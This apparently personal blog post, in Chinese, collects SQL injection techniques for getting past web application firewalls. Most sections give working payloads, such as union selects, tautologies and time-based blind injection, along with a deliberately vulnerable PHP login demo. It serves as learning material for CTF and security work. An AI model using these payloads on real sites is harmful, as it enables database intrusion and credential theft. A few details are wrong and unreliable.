AMao
小菜鸡目前对一些东西的认知,希望师傅们可以帮忙纠正!

SQL注入过WAF思路

2020-07-23 CTF Web安全
Word count: 2.4k | Reading time: 11min

SQL 注入绕 WAF 思路

编码绕过

ASCII

  • admin

    1
    2
    3
    CHAR(97)+char(100)+char(109)+char(105)+char(110)

    select from admin where username=(CHAR(97)+char(100)+char(109)+char(105)+char(110))

Hex

extractvalue() 对xml进行操作

1
2
3
4
5
6
select extractvalue(0x3C613E61646D696E3C2F613E,0x2f61);
+-------------------------------------------------+
| extractvalue(0x3C613E61646D696E3C2F613E,0x2f61) |
+-------------------------------------------------+
| admin |
+-------------------------------------------------+
1
2
3
4
5
6
7
>>> h=0x3C613E61646D696E3C2F613E
>>> print hex(h)[2:-1].decode("hex")
<a>admin</a>

>>> h=0x2f61
>>> print hex(h)[2:].decode("hex")
/a

Unicode编码

单引号

%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0、%a7、%e0、%80、%a7

空格

%u0020、%uff00、%c0、%20、%c0、%a0 、%e0、%80、%a0

左括号

%u0028 、%uff08、%c0、%28 、%c0、%a8、%e0、%80、%a8

右括号

%u0029、%uff09、%c0、%29、%c0、%a9、%e0、%80、%a9

URL编码

通常如果一样东西需要编码,说明这样东西并不适合传输。

对于URL来说,编码主要是为了避免引发歧义与混乱。

eg.

URL参数字符串中使用key=value键值对这样的形式来传参,键值对之间以&符号分隔,如果value中包含&或=,则会造成解析错误(还有 # )

  • HTTP 请求过程

    1
    2
    Browser    ---get/Post---->  Server  
    <----Response---
    • 浏览器会把URL经过编码后发送给服务器,不同的浏览器对URL的编码规则不同。对于GET方式提交的数据,浏览器会自动进行URL编码;对于POST方式提交的数据,其编码方式可以由开发者进行指定

      1
      2
      3
      4
      5
      6
      URL:
      http://127.0.0.1/?id=1'

      HTTP:
      GET /?id=1%27 HTTP/1.1
      Host: 127.0.0.1
    • 服务器根据其自身的配置文件对URL进行解码(解码成Unicode),然后将显示内容编码

      服务端除了服务器中间件会自动对URL进行解码,后端的Web程序会对前端进行编码的数据进行解码操作。

      在PHP中,$_GET数组中的value经过一次URL Decode (可翻阅官方文档)

  • 正常解析过程

    用户输入 PHP自身编码 转义 拼接到SQL语句
    id=1%27 $_GET[‘id’]=1’ id=1\' id=1\'

    语句闭合失败,无法注入

  • PHP代码中使用了 urldecode() 等编码函数

    用户输入 PHP自身编码 转义 urldecode() 拼接到SQL语句
    id=1%2527 $_GET[‘id’]=1%27 id=1%27 id=1’ id=1’

    闭合成功,二次编码

TIPS:在注入过程中,#不能注入失败,%23注入成功,是因为 # 被浏览器识别成锚点,并不是URL编码绕过了WAF

order by 过滤

order by 超过范围(字段数)才报错

  • into 不相等就报错

    • 必须相等且结果为一行(必须用到limit)
    • select into 本是一个备份内容的操作
    • @是一个变量符号
    1
    2
    3
    4
    mysql> select password,username from tw_user limit 0,1 into @;
    ERROR 1222 (21000): The used SELECT statements have a different number of columns
    mysql> select password,username from tw_user limit 0,1 into @,@;
    Query OK, 1 row affected (0.00 sec)
  • 可以直接爆破
    union select 1,2,3 直到不报错为止

Hex 绕过引号过滤

过滤了引号,导致字符串不能写入

使用16进制就不需要引号了

结合hex()、unhex()使用

1
2
select column_name from information_schema.columns where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273

等号过滤

使用like、in替换

1
2
substr(password,1,1) in('p');
substr(password,1,1) like('p');

in 还能通过 order by 指定顺序

1
select * from users where id IN (3,6,9,1,2,5,8,7) order by field(id,3,6,9,1,2,5,8,7);

< > 替代等号构造真值

1
2
3
4
5
or swords > sw

or swords < tw

or 1<3

REGEXP代替=

逗号绕过

substr()逗号绕过

from 1 for 1 替代 substr(,1,1)

1
2
3
select * from pass where id=1 union select 1,2, substr((select username from users limit 0,1),1,1);

select * from pass where id=1 union select 1,2, substr((select username from users limit 0,1) from 1 for 1);

limit 逗号绕过

  • limit 1 offset 0 代替limit 0,1

    1
    select * from pass where id=1 union select 1,2, substr((select username from users limit 1 offset 0),1,1);
  • select top 1 from admin where .....代替 limit 0,1

其他

join

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select password,username from user union select 1,2;
+----------------------------------+----------+
| password | username |
+----------------------------------+----------+
| 8085207a2cf59bf1b75e36f42bbc3c15 | admin |
| 1 | 2 |
+----------------------------------+----------+

mysql> select password,username from user union select * from (select 1)a join (select 2)b ;
+----------------------------------+----------+
| password | username |
+----------------------------------+----------+
| 8085207a2cf59bf1b75e36f42bbc3c15 | admin |
| 1 | 2 |
+----------------------------------+----------+

using 可以替代 on

1
2
3
select * from table1 inner join table2
on table1.column1=table2.column2
and table1.column2=table2.column2;
1
2
select * from table1 inner join table2 
using(column1,column2);

绕过比较符号

greatest()

返回最大值

1
2
3
4
select * from users where id=1 and ascii(substr(database(),0,1))>64;

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;
# 这里的 = 也可以换成in()

between

1
2
3
4
SELECT * FROM `p_archives_3` WHERE `picsad` between 1113 and 1122;

SELECT * FROM `p_archives_3` WHERE `picsad` >= 1113 and `picsad`<=1122;
# 此处的 picsad 必须是数字类型

空格绕过

括号

括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。

而括号的两端,可以没有多余的空格

1
2
select(user())from dual where(1=1)and(2=2)
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

/**/

/*1*/

%0d、%0a、%0c、%0b、%a0

+

TAB

\t

两个括号

编码

1e0 和 1.0

默认from后面必须是空格再加表名,为了过滤from可能正则表达式会检测后面的空格,可以用科学计数法绕过,因为1e0后面可以没有空格

1
2
select A from B 
select A,1E0fromB
  • 这里的逗号是两列的意思 1e0占了第二列
  • 同样,1E0 可以用 1.0 代替
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> select password,1e0from tw_user;
+----------------------------------+-----+
| password | 1e0 |
+----------------------------------+-----+
| 8085207a2cf59bf1b75e36f42bbc3c15 | 1 |
+----------------------------------+-----+


mysql> select password,1.0from tw_user;
+----------------------------------+-----+
| password | 1.0 |
+----------------------------------+-----+
| 8085207a2cf59bf1b75e36f42bbc3c15 | 1.0 |
+----------------------------------+-----+

\N 绕过NULL

1
select * from pass where id=\Nunion select 1,2,3;

id 与 from 之间的空格绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> select+uid-1+1.from tw_user where username = 'admin';
+-----------+
| +uid-1+1. |
+-----------+
| 1 |
+-----------+

mysql> select-uid-1+6.from tw_user where username = 'admin';
+-----------+
| -uid-1+6. |
+-----------+
| 4 |
+-----------+
# -udi-1+6 结果为4,则 uid=1

内联注释绕过

/*!*/在其他数据库语言中是注释,但是在sql中却可以执行,为了sql提高语句的兼容性

1
2
3
4
5
6
7
8
9
mysql> select password,username from tw_user /*!union*/ select 1,2;
+----------------------------------+----------+
| password | username |
+----------------------------------+----------+
| 8085207a2cf59bf1b75e36f42bbc3c15 | admin |
| 1 | 2 |
+----------------------------------+----------+

# 在版本高于mysql5中可以执行

+ - . 拆分字符串绕过

?id=1’ or ‘11+11’=’11+11’

宽字节注入绕过

常见注释

  • -–+
  • #
  • %23
  • – -
  • %00
  • ` 单行或者多行注释(别名),反引号
  • /* */ 单行或者多行注释

注释绕过

闭合SQL语句

可以使用常见的注释进行fuzz,要是都被过滤的话,可以通过闭合来绕过

1
2
3
4
5
6
7
8
9
mysql> select uid from tw_user where username = 'aaaa';
Empty set (0.00 sec)

mysql> select uid from tw_user where username = 'aaaa' or '1'='1';
+-----+
| uid |
+-----+
| 1 |
+-----+
  • payload:aaaa' or '1'='1

反引号

可以用来过空格和正则,特殊情况下,还可以将其做注释符用(单行或多行注释),实际上是mysql别名的用法

  • 参考:雨神blog

  • demo

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    <?php
    error_reporting(0);
    $connect = mysql_connect('127.0.0.1', 'root', 'root') or die('数据库连接失败');
    mysql_select_db('test');
    mysql_query("set names 'utf8'");
    // $id = $_GET['id'];
    if(isset($_GET['name']) && $_GET['pass'])
    {
    $username = $_GET['name'];
    $password = $_GET['pass'];
    $result = mysql_query("select * from user where username = '$username' and password = '$password'");

    if($result)
    {
    $row = mysql_fetch_assoc($result);
    print_r("<h1>Hello, $row[username]</h1>");
    }
    else
    {
    print_r("Username or Password is error") ;
    }
    }
    else
    {
    print_r("Something wrong happened!");
    }
    ?>

payload:?name=admin%23 可以通过验证

payload:?name=admin` 却没有注释成功

MySQL官方文档中并没有关于 ` 的注释用法,而是一个用户封装的标识符(一般用来引住表名、字段名、别名),还可以防止意外使用保留关键字

注释作用:MySQL query 执行sql语句的时候,在 ` 不闭合的情况下也能正常执行(原理不详)

payload改进:

1
?name=admin' union select 1,2,3 from admin_user `&pass=admin1234

拼接后的SQL语句为

1
select * from user where username = 'admin' union select 1,2,3 from admin_user `' and password = 'admin1234'

其中 ' and password = 'admin1234' 都为 admin_user 的别名(as可以省略)

  • 在盲注中的利用

    寻找需要用到列名的地方,如 :order by 、having

    可以使用 @ 来避免找不到 colunm 的问题

等价函数变量绕过

hex()、bin() ==> ascii()

sleep() ==> benchmark() ==>get_lock()

  • BENCHMARK(count,expr)
    • BENCHMARK()函数,重复countTimes次执行表达式expr,执行的时间长了,也达到了sleep的作用
  • 在sqlsever 中用 waitfor delay
  • 在Oracle 中用 DBMS_PIPE.RECEIVE_MESSAGE()函数和CASEWHEN„THEN„语句

concat_ws() ==> group_concat()

mid() 、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

@@version ==> version()

函数后添加注释

函数被过滤时,在函数名与括号间添加空格或者注释绕过过滤

  • concat/**/()

过滤字母

CONV()函数的目的是在不同的数值基数之间进行数字转换。

该函数返回值N从from_base到to_base转换的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> select conv(10,10,36);
+----------------+
| conv(10,10,36) |
+----------------+
| A |
+----------------+

mysql> select lower(conv(10,10,36));
+-----------------------+
| lower(conv(10,10,36)) |
+-----------------------+
| a |
+-----------------------+

过滤from

  • 用 from. 代替

表名或字段名是保留字

  • 使用点号连接表名和字段名

    table_name.column_name

  • 用反引号

    1
    `table_name`

字段名过滤

将一个虚表和当前表联合

1
pro_id=-1 union select 1,a.4,3,4 from (select 1,2,3,4 from dual union select * from product_2017ctf)a limit 3,1;

符号替代

1
2
or   ||
and &&

%00

MYSQL对%00不会截断

se%00lect

%

单一%号,在asp+iis中会被忽略

sel%ect

<>

Linux

sel<>ect

双写绕过

将关键词替换为空(删除)

大小写绕过

php中preg_match函数没有加/i参数

常见bypass

1
2
3
4
5
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI’’On’+’SeL’’ECT’ <-MySQL only
id=1+’UnI’||’on’+SeLeCT’ <-MSSQL only

参考

  • link1
  • 文中两处链接

声明

  1. 博主初衷为分享网络安全知识,请勿利用技术做出任何危害网络安全的行为,否则后果自负,与本人无关!
  2. 部分学习内容来自网络,回馈网络,如涉及版权问题,请联系删除 orz
< PreviousPost
内网安全基础
NextPost >
Web渗透测试之信息收集详细指南
CATALOG
  1. 1. SQL 注入绕 WAF 思路
    1. 1.1. 编码绕过
      1. 1.1.1. ASCII
      2. 1.1.2. Hex
      3. 1.1.3. Unicode编码
        1. 1.1.3.1. 单引号
        2. 1.1.3.2. 空格
        3. 1.1.3.3. 左括号
        4. 1.1.3.4. 右括号
      4. 1.1.4. URL编码
    2. 1.2. order by 过滤
    3. 1.3. Hex 绕过引号过滤
    4. 1.4. 等号过滤
      1. 1.4.1. 使用like、in替换
      2. 1.4.2. < > 替代等号构造真值
      3. 1.4.3. REGEXP代替=
    5. 1.5. 逗号绕过
      1. 1.5.1. substr()逗号绕过
      2. 1.5.2. limit 逗号绕过
      3. 1.5.3. 其他
    6. 1.6. 绕过比较符号
      1. 1.6.1. greatest()
      2. 1.6.2. between
    7. 1.7. 空格绕过
      1. 1.7.1. 括号
      2. 1.7.2. /**/
      3. 1.7.3. /*1*/
      4. 1.7.4. %0d、%0a、%0c、%0b、%a0
      5. 1.7.5. +
      6. 1.7.6. TAB
      7. 1.7.7. 两个括号
      8. 1.7.8. 编码
      9. 1.7.9. 1e0 和 1.0
    8. 1.8. \N 绕过NULL
    9. 1.9. id 与 from 之间的空格绕过
    10. 1.10. 内联注释绕过
    11. 1.11. + - . 拆分字符串绕过
    12. 1.12. 宽字节注入绕过
    13. 1.13. 常见注释
    14. 1.14. 注释绕过
      1. 1.14.1. 闭合SQL语句
      2. 1.14.2. 反引号
    15. 1.15. 等价函数变量绕过
      1. 1.15.1. hex()、bin() ==> ascii()
      2. 1.15.2. sleep() ==> benchmark() ==>get_lock()
      3. 1.15.3. concat_ws() ==> group_concat()
      4. 1.15.4. mid() 、substr() ==> substring()
      5. 1.15.5. @@user ==> user()
      6. 1.15.6. @@datadir ==> datadir()
      7. 1.15.7. @@version ==> version()
    16. 1.16. 函数后添加注释
    17. 1.17. 过滤字母
    18. 1.18. 过滤from
    19. 1.19. 表名或字段名是保留字
    20. 1.20. 字段名过滤
    21. 1.21. 符号替代
    22. 1.22. %00
    23. 1.23. %
    24. 1.24. <>
    25. 1.25. 双写绕过
    26. 1.26. 大小写绕过
    27. 1.27. 常见bypass
    28. 1.28. 参考
    29. 1.29. 声明